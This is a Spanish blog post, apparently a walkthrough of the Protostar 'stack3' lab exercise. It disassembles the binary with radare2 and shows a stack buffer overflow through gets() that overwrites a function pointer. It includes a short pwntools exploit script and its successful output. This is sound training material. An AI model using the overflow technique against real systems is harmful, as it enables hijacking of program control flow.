Como de costumbre comenzamos ejecutando el binario vulnerable en busca de alguna pista en su comportamiento:
dpc@kernelinside:~/protostar/bin$ ./stack3
test
dpc@kernelinside:~/protostar/bin$
La entrada proviene de
stdin
, pero ahora ya no hay chico malo para confirmar los resultados. Suerte que a radare2 no se le escapa nada:
dpc@kernelinside:~/protostar/bin$ r2 ./stack3
[0x08048370]> aas
[0x08048370]> e asm.bytes=false
[0x08048370]> iz
000 0x00000540 0x08048540 30 31 (.rodata) ascii code flow successfully changed
001 0x00000560 0x08048560 44 45 (.rodata) ascii calling function pointer, jumping to 0x%08x\n
Si las pistas no mienten, parece que un puntero a función es llamado en algún momento y que existe la posibilidad de sobreescribir este y redirigir el flujo de ejecución. Preguntemos a
r2
dónde se utiliza el string de chico bueno:
[0x08048370]> axt 0x08048540
sym.win 0x804842a [DATA] mov dword [esp], str.code_flow_successfully_changed
[0x08048370]> axt sym.win
[0x08048370]> pdf @ sym.win
/ (fcn) sym.win 20
| sym.win ();
| 0x08048424 push ebp
| 0x08048425 mov ebp, esp
| 0x08048427 sub esp, 0x18
| 0x0804842a mov dword [esp], str.code_flow_successfully_changed ; [0x8048540:4]=0x65646f63 ; "code flow successfully changed"
| 0x08048431 call sym.imp.puts ; int puts(const char *s)
| 0x08048436 leave
\ 0x08048437 ret
win()
no se llama desde ninguna parte del binario, ese es nuestro objetivo.
[0x08048370]> afl
...
0x08048424 1 20 sym.win
0x08048438 3 65 sym.main
...
Veamos
main()
:
[0x08048370]> s main
[0x08048438]> pdf
| ;-- main:
/ (fcn) sym.main 65
| sym.main ();
| ; var int local_4h @ esp+0x4
| ; var int local_1ch @ esp+0x1c
| ; var int local_5ch @ esp+0x5c
| ; DATA XREF from sym._start (0x8048387)
| 0x08048438 push ebp
| 0x08048439 mov ebp, esp
| 0x0804843b and esp, 0xfffffff0
| 0x0804843e sub esp, 0x60 ; '`'
| 0x08048441 mov dword [local_5ch], 0
| 0x08048449 lea eax, [local_1ch] ; 0x1c ; 28
| 0x0804844d mov dword [esp], eax
| 0x08048450 call sym.imp.gets ; char *gets(char *s)
local_5c
que ahora parece ser nuestro function pointer fcn_ptr
se establece a NULL
. Luego gets()
recoge los datos de entrada en el buffer local_1ch
.
| 0x08048455 cmp dword [local_5ch], 0
| ,=< 0x0804845a je 0x8048477
| | 0x0804845c mov eax, str.calling_function_pointer__jumping_to_0x_08x ; 0x8048560 ; "calling function pointer, jumping to 0x%08x\n"
| | 0x08048461 mov edx, dword [local_5ch] ; [0x5c:4]=-1 ; '\' ; 92
| | 0x08048465 mov dword [local_4h], edx
| | 0x08048469 mov dword [esp], eax
| | 0x0804846c call sym.imp.printf ; int printf(const char *format)
| | 0x08048471 mov eax, dword [local_5ch] ; [0x5c:4]=-1 ; '\' ; 92
| | 0x08048475 call eax
| `-> 0x08048477 leave
\ 0x08048478 ret
Si
fcn_ptr != NULL
se invoca la función apuntada por este y el programa finaliza. La única forma de que fcn_ptr
sea distinto de NULL
es, como siempre, desbordando el buffer que le precede (64 bytes) y sobreescribiendo su contenido. Ya hemos visto que la dirección de win()
es 0x08048424
, con lo que ya disponemos de todos los ingredientes para un exploit infalible:
from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack3"
padding = "A"*64
win_addr = 0x08048424
def exploit():
payload = padding + p32(win_addr)
p = process(context.binary.path)
p.sendline(payload)
print(p.recv())
if __name__ == "__main__":
exploit()
Ta ta ta chán...
dpc@kernelinside:~/protostar/bin$ python exp_stack3.py
[*] '/home/dpc/protostar/bin/stack3'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack3': pid 1820
[*] Process '/home/dpc/protostar/bin/stack3' stopped with exit code 31 (pid 1820)
calling function pointer, jumping to 0x08048424
code flow successfully changed
Pwned!
No hay comentarios:
Publicar un comentario